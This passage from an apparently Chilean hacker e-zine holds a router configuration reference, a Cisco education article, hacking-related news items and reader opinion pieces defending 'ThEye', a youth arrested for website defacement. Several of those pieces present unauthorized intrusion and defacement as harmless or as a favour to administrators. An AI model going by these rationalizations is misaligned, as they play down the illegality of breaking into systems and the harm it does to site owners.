Aca seteamos el monitoreo por medio de SNMP, hay varios  monitores  que  hacen
esto, tales como el what'sup o el Bigbrother, estos revisan el snmp del router
y ven si esta caido o no.

10.- Maintenance
Aca es donde se ve el mantenimiento del router, los logs, si queremos volver a
0 con el router, si queremos entrar en modo consola,etc, todo lo que tenga que
ver con mantenimiento.

11.- Security
Para cambiar la contrasen~a de ingreso al router, nada mas que eso.

12.- exit
obvio.

Bueno, eso seria esta corta referencia a la configuracion de un router hay que
tener cuidado con las rutas estaticas que se definen, puede pasar que  en  vez
de apurar la conexion del router de un nodo a otro la demore. 
Seria todo y hasta la proxima.

=ViC3Nt BlaCk=

Autor     : ViC3nT
Titulo    : Routers (ReFerencia Basica)
E-mail    : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 





,ø¤°`´°¤ø¸
-<[ 14 ]>-
`°¤ø,¸,ø¤°

Autor     : Cisco
Titulo    : The Cisco Networking Academy Program:
            Where it came from and where it is going
E-mail    : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 


To understand the Cisco Networking Academy Program, you need to understand how
it came into existence.

In 1993, I was hired by Cisco Systems as a network design engineer focused  on
public K-12 education. Primarily my job was to design and  to  help  implement
networks within this market sector across North America. This proved to  be  a
huge challenge because of a lack of trained support  personnel  within  public
education to support these large-scale networks. At that point, I  developed a
four-day training class developing basic networking skills,and I offered it to
many of our K-12 customers. This process worked very well, but it soon exposed
the next problem:there were not enough trained staff! At that point we focused
on the next level of personnel available within the school district:
- The students.

After conducting several training classes with students it became obvious that
they were technology magnets, absorbing concepts and labs  and  wanting  more. 
The students had no fear of the technologies involved in  networking  systems.
Several of the districts involved in this experiment requested that we look at
creating a  formal  curriculum  that  could  be  inserted  into  normal  class 
scheduling. The original training  was  5  eight-hour  days.  Thus  the  Cisco
Networking Academy Program was born.

Since then we learned that the networking industry is not  the  only  industry 
that speaks a specialized  language.  We  at  Cisco  are  learning  all  about
pedagogy, curriculum  task  analysis  and  sequencing, psychometrically  sound
testing, rubrics, student reflection, stems and distracters,national and local 
educational standards, and much more. I, for one,have developed a deep respect
for anyone in the teaching profession; it seems to be a never-ending  learning
curve.

From  the  very beginning we have said that this type of a program has to be a
partnership  with  education. Webster's Dictionary defines partnership  as  "a
close relationship  between  parties having specified  and  joint  rights  and
responsibilities." The Cisco  Networking  Academy  Program  is  a  partnership
between education and Cisco Systems, with both of us  having  responsibilities
to  ensure  that   the  students   receive  the  best  possible  education  in
networking. What  Cisco brings  to this partnership is knowledge of networking
technologies  and a desire to create  a world class curriculum that will  help
future  generations  of  students  develop  employable  skills.   You  in  the
education  field  bring  the  knowledge  and  skills  of  the   best  teaching
practices and educational program implementation.  I feel  that the key  to  a
successful program will be an open  communication  channel between all  of us.

To that extent, I am very interested in  hearing  ideas on how we can  improve
these communication channels. I would  like  to know  what  other  topics  you 
would like to see in these forums  or  what  other  methods  of  communication
need to be put in place. Those of  you that  know me understand  my  motto  is 
"don't just  bring me  the  problems, bring  me  the  solutions  also, and  we 
will implement them."

Cisco's commitment to this program is long-term and  comes  from  the  highest 
levels of management  within  Cisco.  Both  John  Morgridge, Chairman  of  the
Board, and John  Chambers,  President  and  CEO, have  publicly  stated  their
support of the Cisco Networking Academy Program.  We  in  the  curriculum  and 
assessment department are committed to continually refining and enhancing  the 
curriculum content. Starting in October, we will begin evaluating and  redoing
semester 1 per your input, and then move on to semesters 2, 3 & 4. We are very
interested in your ideas on content, labs and other activities that  you  have
implemented that help reinforce concepts in the  curriculum.  I  believe  this
process of enhancement will be an annual cycle;as new technologies emerge they
will be inserted into the curriculum.

On the horizon is the development of four more  semesters,  targeted for  post
K-12   institutions.  The  focus  of  this  curriculum  is  another  level  of
certification  called  CCNP  (Cisco Certified Networking Professional).   More
details on this program will be posted soon in the Networking Academy Zone.

This  additional  phase  of  the  Cisco  Networking  Academy  Program  program
re-emphasizes our long-term commitment to educational programs that raise  the
technical knowledge level of students.

Autor     : Cisco
Titulo    : The Cisco Networking Academy Program:
            Where it came from and where it is going
E-mail    : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 




,ø¤°`´°¤ø¸
-<[ 15 ]>-
`°¤ø,¸,ø¤°

Autor     : bAnkZide & meth0dist
Titulo    : UnderNews
Fuentes   : Packetstorm - CNN - Hispasec - Emol - El Mostrador



Hackers Tienen Nuevo Apodo en Uk
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Los hackers  tienen un  nuevo apodo  ahora en el  Reino Unido: cyberterroristas.
Bajo la ley de terrorismo promulgada en la ley que empieza lunes, se  castigaran
personas que ponen en peligro las vidas a traves  de la manipulacion de sistemas 
computacionales publicos bajo  la ley de anti-terrorismo, como  si se tratara de
cualquier otro terrorista. 

"No hay una seccion especifica que se trate del cybercrimen como a tal, se cubre
dentro  de las  varias  secciones, pero  cualquiera  que en  serio interfiera, o 
en  serio  rompe  un   sistema   electronico, se  le juzgara  bajo  la  ley   de 
anti-terrorismo," dijo  un  portavoz  de  la  Home "Office", que  es la  seccion
gubernamental que vigila la inmigracion y el crimen. 



Nuevo Bug de Microsoft
^^^^^^^^^^^^^^^^^^^^^^

Microsoft ha  identificado otro  agujero de  seguridad en  su software de e-mail
"Outlook Express" y ha dicho que un patch esta disponible para el fallo tecnico.  
El  fabricante del  software  puso a  disposicion  un patch (otro mas!!) para el 
Outlook  y  sus clientes. El  agujero de seguridad permitiria a los hackers usar 
una vCard para desactivar el Outlook o ejecutar un codigo a traves de el.  

Como evidencia de la rapida difusion del virus kournikova, los  usuarios son muy 
deseosos de abrir los "attachments", especialmente de extra~os.


 
Codigo Criptografico Irrompible
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Expertos en criptologia estan  alerta sobre un  profesor de Harvard que dice que
puede hacer un codigo  irrompible  que puede usarse  una y otra vez. El profesor
de ciencias en computacion Michael  Rabin junto con un alumno con  un doctorado,
desarrollaron una  formula matematica  que expertos  dicen que podria  ser usada
para crear un codigo indecifrable  ni  por los  computadores mas  poderosos  del
mundo.

"Nosotros estamos haciendo algo que es aparentemente imposible, y  es  sumamente 
excitante," Rabin dijo.
El metodo que usa Rabin, ocupa  un arroyo de  caracteres al azar  generados, que
pueden descifrarse con  una formula matematica. Una vez el mensaje  se descifra, 
el arroyo desaparece, mientras que no deja  nada para  poder ser  descifrar dijo 
Rabin. La llave puede reusarse en un mensaje diferente tambien. 

"Los  codigos  irrompibles se han  creado antes, pero  ellos eran para  solo ser 
usados una vez" dicen los expertos.

Rabin dijo que el no  esta planeando mercantilizar el sistema todavia. Si  el lo 
hace, podria usarse por las corporaciones, gobiernos o cualquier grupo que 
quisieron guardar la informacion confidencial.

Richard Lipton, profesor de informatica en la Universidad de Princeton, dijo que
el ha visto la formula y esta convencido de  que  podria funcionar. Lipton  dijo
que   el  logro  mas  significante  de  Rabin  estaba  en  demostrar  sus  ideas
matematicamente. 
"Aunque la idea parece obvia, hay bastante matematica dura en ella".

"Hay unos lugares en que  yo necesitaria  investigar mucho mas  antes de  que yo 
aceptara  estas  declaraciones" dijo Richard Kaye, profesor de matematica  en la
Universidad de  Birmingham  en  Inglaterra. Kaye  estuvo en los  titulares de un 
diario cuando discutio  que  jugar al  Buscaminas podria llevar  a una forma  de 
crackear codigos eficientemente.

Ni siquiera los partidarios como Lipton, creen  que  el trabajo  de Rabin creara 
un  codigo  que  es para  siempre  irrompible. Algun  dia, ellos  dicen que  las
computadoras podran guardar bastante informacion para dar con el codigo de Rabin.
  
"Se vuelve una carrera de armas, asi como esta con el descubrimiento del virus o
 las defensas contra proyectiles" dijo Lipton. 



HotMail con problemas frente a los virus
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Segun anuncia la prestigiosa publicacion online ZDNet,  HotMail  presenta graves
deficiencias en la deteccion de virus,todo indica que el motor antivirus con que
cuenta el popular entorno  de  correo  e-mail  gratuito  lleva  seis  meses  sin
actualizarse. Segun indica ZDNet el escaner  antivirus  de  Hotmail  se  muestra
incapaz de detectar una virus como Emmanuel, todo indica que este  filtro  lleva
seis meses sin ningun tipo de actualizacion. Al contactar con Microsoft y McAfee
respecto a la vulnerabilidad encontrada en los servidores de  Hotmail, la  firma
antivirus indico que se trataba de un fallo de Microsoft, que la firma de Redmon
rehusaba realizar  la  implementacion  de  las  nuevas  actualizaciones.  En  la
actualidad, seis dias despues de que el problema fuera reportado a los  tecnicos
de Microsoft, el problema sigue sin corregir. El escaner antivirus de HotMail no
intercepta el virus Emmanuel.

El problema radica en que igual que HotMail no detecta  este  virus, no  detecta
virus gusanos y troyanos que hayan aparecido en los ultimos  seis  meses, con el
problema que ello conlleva.



Los incidentes de seguridad se doblan en un a~o
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Los dos equipos de atencion a incidentes  de  seguridad  en  Espa~a, IRIS-CERT y
esCERT, la llamada "policia de Internet", han detectado  en  el  ultimo  a~o  un
destacable aumento de los intentos de acceso ilegal a ordenadores. Casi la mitad
habran quedado por resolver. A pesar de haberse doblado las incidencias respecto
a 1999, los expertos huyen de alarmismos y lo achacan al general crecimiento  de
la red. A  estas  alturas,  algo  como  los  escaneos  de  puertos, que  recaban
informacion para entrar en una maquina, se han convertido  ya  en un "ruido" mas
de Internet, al estilo del correo basura. Para comprobarlo,  solo  es  necesario
instalarse un cortafuegos personal e indicarle que genere un aviso cada vez  que
alguien busque agujeros en el ordenador. Le llegaran decenas.  Y no tiene porque
ser nada personal: cualquiera puede estar, ahora mismo, poniendo  en  marcha  un
robot escaneador contra miles de conexiones desconocidas, solo por probar.



AnnaKournikova
^^^^^^^^^^^^^^
¿fracaso de la comunidad antivirus? El ultimo virus de  gran  propagacion, alias
"AnnaKournikova", pone en entredicho la  utilidad de muchas  de  las  soluciones
antivirus existentes en el mercado.  El virus es el resultado  de  usar  un  kit
de creacion automatica, que  permite dise~ar  gusanos  sin  necesidad  de  saber
programar y que se conoce desde agosto de 2000.  Para colmo se  ha  contado  con 
la "colaboracion ciudadana", ya que son muchos los usuarios que  se  han  dejado 
enga¤ar por practicamente un "remake" del archiconocido "ILOVEYOU".
"AnnaKournikova" esta creado con " Vbs  Worms  Generator ", un  kit de  creacion
automatica desarrollado por un argentino apodado [K]Alamar, que permite  dise~ar
gusanos a golpe de raton con tan solo seleccionar ciertas  caracteristicas en un
menu de configuracion.
Segun las ultimas noticias,fue un joven holandes quien genero el"AnnaKournikova"
aprovechando esta utilidad. El autor es lo de menos, lo  peor  es  que  provocar 
un caos mundial esta al alcance de cualquiera que sepa manejar Windows. En estos
momentos tenemos que "agradecer" que  el  joven  no  pulsara  en  la  opcion  de
payload (efecto) da¤ino, ya que a juzgar por la  propagacion  alcanzada  hubiera
causado perdidas multimillonarias entre empresas y usuarios.



Atacan sitios de gobierno uruguayo
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Hackers atacaron un sitio de Internet del ministerio de Ganaderia, Agricultura y
Pesca de Uruguay, agrandando la lista de servicios "online" que fueron afectados
en el ultimo a~o, informo el jueves un portavoz del gobierno uruguayo.  El sitio
www.mgap.gub.uy fue interferido el miercoles por piratas supuestamente de origen
brasile~o  que  dejaron  inscripciones  y  simbolos  anarquistas, incluyendo  la
proclama "Anarquia por siempre", dijo a Reuters un portavoz del ministerio. Este
sitio no fue la unica victima de los piratas. Meses atras fue atacado  el  sitio
web del ministerio de Trabajo y Seguridad Social (www.mtss.gub.uy),  en  el  que 
aparecieron inscripciones de protesta por el desempleo que afecta al pais, de 14
por ciento de la fuerza laboral. 



Redes inalambricas, la nueva forma de propagacion de virus
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Gene Hodges, presidente de McAfee, anuncio que "el 2005 los virus se  propagaran
a traves de dispositivos inalambricos". Los millones de internautas  que accedan
a las red a traves de estos aparatos transmitiran rapidamente los  temidos virus
iformaticos. Segun el maximo ejecutivo de McAfee es necesario  prestar  atencion
a la proteccion de  las  redes  de  las  organizaciones, pero  al  mismo  tiempo
monitorear las nuevas amenazas que han aparecido  con  la  masificacion  de  los
dispositivos inalambricos y sus redes, ya que estos tambien pueden ser afectados
por los virus.Los pronosticos del mercado indican que para el 2005 existiran mas
de 1.200 millones de internautas en el mundo,de los cuales el 62% seran usuarios
de sistemas inalambricos que pueden ser infectados.Frente a esta nueva tendencia
en la propagacion de los virus, Network Associates esta  desarrollando  sistemas 
que permiten desinfectar virus de manera global y asi reaccionar ante las nuevas
amenazas a escala mundial. 


Autor     : bAnkZide & meth0dist
Titulo    : UnderNews
Fuentes   : Packetstorm - CNN - Hispasec - Emol - El Mostrador




,ø¤°`´°¤ø¸
-<[ 16 ]>-
`°¤ø,¸,ø¤°


Autor     : El Editor
Titulo    : ZZZZzzzzzzZZZZZzzzzZZZZZzzzz! 
Comentario: No duermas mas y atrevete a mandar tu articulo, que  no  te preocupe
el nivel del contenido solo haslo! y participa en esta nueva aventura, tambien y
de paso dare el aviso de alguien que se quiera ofrecer en la creacion de  logos,
banner`s publicitarios, gif`s animados,  etc... Manden  sus  dudas, comentarios,
articulos, preguntas, criticas, logos, dinero, etc, etc, a:

- 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 

Contenido : Aqui debiera ir tu sabiduria... y esfuerzo!





,ø¤°`´°¤ø¸
-<[ 17 ]>-
`°¤ø,¸,ø¤°

Autor     : Varios
Titulo    : Comentarios, Reflexiones, Criticas!
 
Autor     : Ytrium
E-Mail    : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 

Ya esta weno que nos traten como algo que no somos,delincuentes,los verdaderos
delincuentes son aquellos que les roban a los pobres para darselo a los ricos,
algo incomprensible,los gobiernos, ayudados por la prensa  sensacionalista, lo
unico que tratan de hacer es poner un ejemplo,un ejemplo que no va a funcionar
los hackers van  a existir siempre, cuando estemos viejos, ni¤itos de 13 a¤os,
llevados por su curiosidad,van a seguir estudiando como vulnerar sistemas.

Nuestro amigo ThEye es  una  persona inteligente, y curioso, preocupado por la
realidad  del  pais en cuanto a la  seguridad informatica, ¿ y  por eso  es un
delincuente?, ¿por ello le mandan una orden de arresto?  esta  bueno ya, somos
mentes inquietas, personas  que  conocen  la  realidad informatica actual, sin
nosotros la red seria lo que fue en  el  principio, una red  de  menos  de 100
computadores, administrados por  militares  estadounidenses. Esta bien, lo que
cometio Theye es un crimen (si esque en verdad fue el quien lo cometio, debido
a que no es nada seguro... y  bajo la falta de pruebas que lo puedan inculpar)
para ustedes, pero  si  piensan  bien, despues de que el entro en los diversos
sistemas, ¿no se hicieron mas seguros?, lo que hizo, en verdad,fue reforzar la
seguridad de  esos  sistemas, Theye  nunca borro un archivo, cuando  entro  en
los  sistemas (imaguinando que el haya sido),  no destruyo nada, lo unico  que
hizo fue avisar  al  administrador, a  su manera, pero les aviso.

Lo unico que les digo a aquellos que quieren ponernos tras las rejas: Fuck Off!!
la red es nuestra, libre, sin regulaciones de gobiernos.

Y para nuestro amigo Theye: Fuerza Compare!!, 0wn3d, 350cc, EST, todo el under
te apoya, asi que anda con la frente en alto al tribunal.

Autor  : Ytrium
Correo : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 



Autor  : To4s7
Correo : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 

Como veran. en este articulo, no esta precisamente orientado a fines  tecnicos
ni eticos, es mas, ni siquiera esta orientado a lo que es  informatica propia-
mente tal.

El proposito de este texto, es de ( nuevamente ) ver la absurda  realidad  que
se hace presente en nuestro pais y las conductas que toman  las  "autoridades"
para hacerce respetar ( que por lo demas son *PATETICAS* ).
Un dia, -no recuerdo especificamente  cual-, de  vacaciones,  luego  de  pasar
una tarde con amistades, volvi a mi casa con el  fin  de  prepararme  a  salir
para la noche.

Cual habra sido mi sorpresa, al oir en los titulares de las noticias  naciona-
les " ha sido atrapado el primer hacker criollo ". OK,  me dije,  tratando  de
esquivar lo inevitable, debe haber sido un  chiquillo  que  entro  por  entrar
a algun sistema con algun bug sencillo y no supo que  hacer. Luego,  al comen-
zar la noticia, la tipa esa dijo " el pirata con residencia en..." . Justo  en
ese momento, mi mente preoceso por lo menos unas 100.000 veces la frase  " Que
no sea en Antofagasta".Dicho y hecho.. " ...con residencia  en  Antofagasta  y
de iniciales R.A fue descubierto..."  en  ese  momento  e  impulsivamente  mis
ojos comenzaron a botar las primeras lagrimas. Se trataba de  mi  casi-hermano
Theye, quien, en un acto que yo no podia comprender aun, cayo  en manos  de la
"justicia". Esto no podia quedar asi, no podia ser, no habia causas ni razones
para que el hubiera caido ahi.

Entonces fue necesario hacer memoria, para tratar de encontrar una explicacion
a tan insolito hecho.

Recorde cuando un  dia, medio  borracho, chatie  con  el  ( por ultima vez ) y
de la nada salio el tema , acerca de su "crackeo" en minsal.cl,  el  cual solo
tenia en el index "0wn3d by SySt00rm". Le hice  ese  comentario, ya  que , por
lo general, el nunca hace un crackeo porke si.

Nueva sorpresa para mi, me respondio que el nisiquiera conocia esa url.

Al mismo tiempo me encontraba en el canal #linux, en el  cual  mencionaban  un
"crackeo triple". Por mera curiosidad fui a ver ese crackeo,y  fue  impactante
para mi ver  que  salia  en  atrittion.org  [ofst] www.minsal.cl. Wow, me dije
aca hay algo raro, este chico se trae algo entre manos.Le comente esto a Theye
y no le dio mayor importancia.

A mi criterio, esos fueron los primeros indicios para tratar de inculparlo.

Bueno, de ahi supongo que paso lo que todos sabemos y  vimos  por  television,
diarios, y por supuesto en internet. En ese entonces yo no  tenia  metodos  de
conseguir  algun  PC  a  mano  ( cuandoestaba  de vacaciones )  asi  que  debi
devolverme antes de lo previsto, para saber de  la situacion  actual  de  este
problema.

Fue alentador leer que lo grupos mas importantes  de  chile  se  habian  unido
en una fuerte y poderosa campa¤a pacifica para llegar  a  un  posible  acuerdo
con el gobierno.
Pero yo sentia que debia hacer algo por Theye. De alguna forma,  esta  era  mi
oportunidad de devolverle la mano a todo lo que el me habia ofrecido.

Mas de alguna vez me lo  habra  sacado  en  cara  en  una  de  nuestras  pocas
disputas " tu no serias nada si no fuera por mi". No estaba del  todo  equivo-
cado. Con ansias  reccuerdo  los  dias  en  que  yo  le  preguntaba  hasta  el
cansancio cosas que, ahora si alguien me las  pregunta  a  mi, no  tendria  la
paciencia de contestar.El si la tenia. El me orientaba cuando no tenia  rumbo.
El era mi defensa cuando cometia algun error y no tenia  escapatoria.  El  era
era mi sentido cuando yo hacia el ridiculo.

Por eso lo menos que puedo  hacer  es  dedicarte  este  articulo,  roberto,  y
seguir en pie, para que puedas salir adelante.

Todos estamos contigo, amigo, compa¤ero y genio.

Autor  : To4s7
Correo : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 




Autor  : KraptoR
Correo : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 

De todos las noticias, reacciones y declaraciones por el  caso  de  Theye,  me
llamo mucho  la  atencion  la  declaracion  de  cierta  persona, que  si  bien
no recuerdo el nombre, por  que  la  noticia  la  lei  hace  cacha  de  tiempo
generaliza mucho la postura  de  los  querellantes, lo  que  si  recuerdo  muy
bien es como respondia a  todas  las  " escusas "  (como ellos lo interpretan),
que daban los hackers, y por sobre todo a esta :  "Nosotros  estamos  ayudando
a que las empresas se den cuenta que sus niveles de  seguridad  son  precarios,
que cualquier delincuente  o  ciberterrorista  internacional, puede  acceder a
informacion realmente secreta e importante", frente a esto  la  respuesta  del
tipo fue...
<< ¡Pero si nadie les pidio que lo hicieran!, la forma en  que lo hacen no  es
correcta. Si quieren colaborar como dicen, entonces que  den  la  cara,  y  se
contacten con nosotros, y nos avisen.>> Que decir...

Quizas sea verdad que nadie nos  lo  pide,  quizas  los  medios  no  sean  los 
correctos, pero alguien se puede imaginar otra  forma;  estas  personas  creen
que los que entran y dejan mensajes son los "malos", no  se  percatan  que  en
realidad si hay otros que entran y no dejan se¤ales, ni nada que  indique  una
posible intrusion... Solo me gustaria decirles  a  esas  empresas,  que  estan
realmente equivocadas en su querella, no deberian perder tanto tiempo en esto,
y dedicarse a protegerse, no porque se trate de  una  ciberguerra,  sino  solo
porque los  verdaderos  ciberterrorista  no  van  a  dejar  de  actuar por  el
escandalo que se hizo por la captura del primer "hacker chileno"  por parte de
la <>.

Autor  : KraptoR
Correo : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 



Autor  : meth0dist
E-Mail : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 

Pienso que el gobierno esta haciendo muy mal en lo que respecta  al  caso  del
"ThEye" y el unico que va a salir perjudicado va a ser el mismo  gobierno.  Es
totalmente injusto que se metan en su casa, requisen su Pc, etc. Cosa  que  no
hacen en otras cirscunstancias de peores y horrendos delitos.  En  estos casos
el gobierno quiere venir a hacerse el fuerte e omnipotente, cuando en  cambio,
violadores y asesinos son soltados al mes de prision, volviendo a  cometer los
mismos delitos.

El gobierno chileno esta muy mal en lo que respecta a la informatica, son unos
ignorantes y mas encima ahora vienen a darselas de expertos.No puedo creer que
a un una persona muy joven, que lo unico que hizo fue entrar a  un  sistema  y
hackearlo lo vayan a meter preso por cerca de tres a¤os, es una estupidez.

Al contrario esa persona encontro un fallo de seguridad en un sistema,cosa que
si hubiera hecho otro persona con fines  maliciosos, quizas  que  cosa  habria
hecho. El gobierno tiene que darse cuenta de que esta actuando mal o sino va a
salir muy perjudicado.

Espero que todos apoyen esta causa.

Autor  : methodist
E-Mail : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 



Autor  : bAnkZide
Correo : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 

Estaba tratando de dormir, pero mi hermano estaba viendo las noticias  con  el
volumen bien alto. No me quedaba otra, ke tratar de seguir durmiendo cuando de
repente escucho "Detenido primer hacker chileno...", rapidamente me levanto  y
voy hacia la television. Fue una noticia larga  donde  se  mencionaron  muchas
cosas sobre el under nacional, como si fuera algo ke venda y ke a la gente  le
interese. Yo creo ke si, por ke es algo  nuevo  para  la  sociedad  una  nueva
especie de "crimen". Pero, "hacker" acaso la  gente  sabe  lo ke  es?  delitos
informaticos? cybercrimen? Imaginense un campesino ke sintoniza solo un  canal
de la tv abierta y ve esa noticia. Que se imaginara del acusado? Un terrorista?
Cada persona emite su juicio al  respecto,  pero  yo,  y  la  gente  del under
nacional sabe perfectamente ke Theye es inocente,y ke en ningun momento el uso
sus conocimientos para obtener beneficios economicos, ni nada  por  el  estilo
sino entrego parte de su tiempo para educar y lanzar una revista para ensenar. 

Los medios hablan de un genio de la informatica, de su alto puntaje en la PAA,
y de entrar numero uno a su carrera, como si eso fueran argumentos de defensa.
Aki la defensa yo creo esta en tratar de explicar a las autoridades  cual  es
nuestro objetivo. Dar a entender ke  nosotros  nos  pasamos  horas  de  horas 
leyendo y estudiando para beneficio personal y para despues tratar de mejorar,
principalmente la seguridad en servidores chilenos.

Se habia anunciado la creacion de la "Brigada de Delitos Informaticos, o  algo
por el estilo" con el fin de parar a los "hackers". En mi  opinion  detuvieron
al primer hacker ke pudieron y hacerlo publico demostrando ke  su  brigada  ya
estaba dando frutos de trabajo. Estos giles ahora se creen como reyes diciendo
ke esta todo bajo control y mas o menos ke tienen a todos en  la  palma  de la
mano, dando estadisticas sobre 30 hackers a nivel mancional, como si  supieran
todo. El unico objetivo de estos weones es demostrar publicamente  ke  ganaron
esta vez,ya ke esta claro ke para este caso utilizaron a la prensa como aliado
para poner a la sociedad en contra, y lo seguiran haciendo, porke yo  creo  ke
esto acaba de comenzar.

Autor  : bAnkZide
Correo : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 



Autor  : ViC3nT
Correo : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 

Mi comentario al respecto de la situacion que ocurrio  a  nuestro  compan~ero,
TheEye, es el siguiente:

Todavia no puedo creer el trato que se le da a la gente joven  en  este  pais,
como dijo una periodista prestigiosa, lo procesan por  "exceso de creatividad"
lo cual lo encuentro increible, en el sector donde vivo, veo diariamente gente
vendiendo droga en las calles y tambien veo  como  nuestra  policia  se  pasea
haciendo vista gorda e incluso sacando provecho de la situacion, acaso no  son
esas personas quienes deben estar tras las rejas?, en este pais siempre  vamos
a estar 20 an~os debajo de paises desarrollados, puesto que gastamos  recursos
y personas en encontrar a alguien que quiere mostrar lo inseguros que somos en
lo que a Internet se refiere en vez de securizar nuestros sistemas y capacitar
a nuestros administradores, Espero que esto cambie por  el  bien  de  nosotros
mismos y de nuestra  Internet  que  por  culpa  de  legislaciones  injustas  y
empresas que se aprovechan de ello, va de mal en peor.

=ViC3nT BlaCk=

Autor  : ViC3nT
Correo : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 



Autor  : PlaXiuS
Correo : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 

Sobre el caso the Eye ya he dado mi opinión en  varias  oportunidades  pero  a 
veces los medios arreglan lo que uno dice a la pinta de ellos.

Creo que primero que nada en  realidad no  sabemos si  nuestro  amigo y colega
The Eye es responsable de los actos que se le imputan.

Mi vision general del tema es que  el  gobierno  ha  tomado un  camino  errado
para la solucion del problema real, puesto que juzgar  o  condenar  a  alguien
no resolvera el problema de fondo que  es  la  seguridad  de  sus  sitemas  de
información, que albergan información relevante para el pais.  Ya  no se trata
del gobierno ni de un color politico es un  problema  que  afecta  a  toda  la
sociedad chilena.

Personalmente no estoy de acuerdo con el  Webcrack ..  siempre  y  cuando  sea 
por un tema muy justificado (yo creackaría sitios que  albergaran  pornografia
infantil sin ningun remordimiento aunque esto sea considerado como delito).
Creo que la mejor manera de demostrar las  vulnerabilidades  de un sistema  es
avisando a los admins de dichos sitios que mejoren su seguridad, de esta forma
no se daña la imagen de la empresa o corporacion y no le quitas  su  fuente de
trabajo a personas que tienen familias que alimentar  y  responsabilidades que
asumir.

Bueno para finalizar quiero hacer un llamado a la comunidad  Under  Chilena  a
mantener la calma lo peor que  podriamos  hacer  es ponernos a crackear sitios
para presionar al gobierno o a la subtel, puesto que  lo unico que lograriamos
es que la prensa (como las Utlimas Noticias) nos siga tratando de delincuentes
y seremos siempre los malos de la pelicula ... siendo que todos sabemos que la
realidad no es asi.Creo que podemos solucionar este problema en forma pacifica
y talvez concretando algo en beneficio de nuestra comunidad y el gobierno, mas
que eso de nuestro pais ...  puesto  que tenemos como mision sacar a Chile del
subdesarrollo para lograr un lugar mucho mejor para  vivir  con  oportunidades
reales.

Autor  : PlaXiuS
Correo : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 




Autor  : NetKrash
Correo : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 

weno.. aki voy con mi opinion acerca de lo k le paso a theye..

primero k nada, no considero a theye como hacker, ni  yo  mismo  me  considero
hacker,  para  mi  los  hackers  desaparecieron  hace  bastante  tiempo...  el
verdadero sentido y significado de esta palabra se ha perdido  y/o  esvirtuado
totalmente en el tiempo.. el hecho de k alguien sepa bastente  de  computacion 
o informatican, y sea capaz de vulnerar y penetrar  sistemas ajenos  usando  o
no sus propias herramientas  para  conseguirlo,  no lo  convierte  en  hacker,
para mi un hacker es un tipo k no necesariamente sea un  guru  en  informatica
sino k  a  la  vez  sea  bastante bueno  y  culto en muchos aspectos, capaz de
superar problemas y capaz de crear kosas  desde  cero, todo  esto  aplicable a
los problemas de la vida diaria, usando la informatica como herramienta.

Hacker es el  k  invento  el  email, hacker  es  el  k  creo  el  lenguaje  de
programacion en C, al k se le ocurrio  internet, etc  los  hacker  no  cambian
webs, de  seguro  tienen  cosas  mas  importantes  y  mucho  mas  dificiles  y
complikadas k cambiar una simple web. hoy por hoy eso  puede  sonar  realmente
c00l decir, wuau yo crackeo aki crackeo alla, para k te aplaudan  y  sepan  el
poder k tienes, bueno te digo eso es basura... cualkera k  se  lo  propone  lo
hace, no hay k ser genio ni superdotado, ni tener un  ekipo  potenticimo, nada
de eso, por ese aspecto me molesta un poco k las  personas  llamen  hackers  a
la gente k crackea.. hasta yo he crackeado y  no  soy  para  nada  algo  k  se
asemeje a un hacker, en realidad no fue un gran reto.. ahora el otro  lado  de
la moneda es k no considero al theye una delincuente por hacer lo k  hizo,  yo
se k es ilegal y no hay nada k hacer, la ley es la ley, pero de  verdad  k  no
merece pasar  por  lo  k  esta  pasando,  es una estupidez k un compadre joven
re100  ingresado  a  la U, con el puntaje mas alto etc, este citado a declarar
y despues capaz k  lo  detengan,  etc  etc ya se saben el cuento.. la wea es k
es estupido k pase por eso debido  a  una  pendejada!!  -crackear una web-. yo
no lo conoco en persona ni nada,  pero  me  da  la  impresion k no es malo, ni
ladron, etc. solo un loko capaz de hacer lo  k  hizo  y  lo  demostro..  ahora
biene otro aspecto..  hay  gente  k  dice  " los k crackean webs, aseguran los
servers, ya k los admins responden y arreglan,  y  despues  de  un  crackeo el
server es mas seguro",  respecto  a  eso  es  absolutamente  cierto,  pero sin
embargo hay k pensar..  de kien es la pega de admin?  del theye  o  del weon k
le pagan por k la  wea funcione???  esa  es  la  cuestion..  si  el  theye  -o
cualkiera- kiere demostrar la inseguridad y vulnerabilidades  de  un  server..
puede hacer una asesoria  en  seguridad  y  cobrar  wena plata :D ...  pero en
verdad eso de crakear webs y te lleven preso  lo  encuentro un CHISTE.. ademas
aki en este pais ni  sikiera  se  cuenta  con  una  LEY  COMPLETA  al respecto
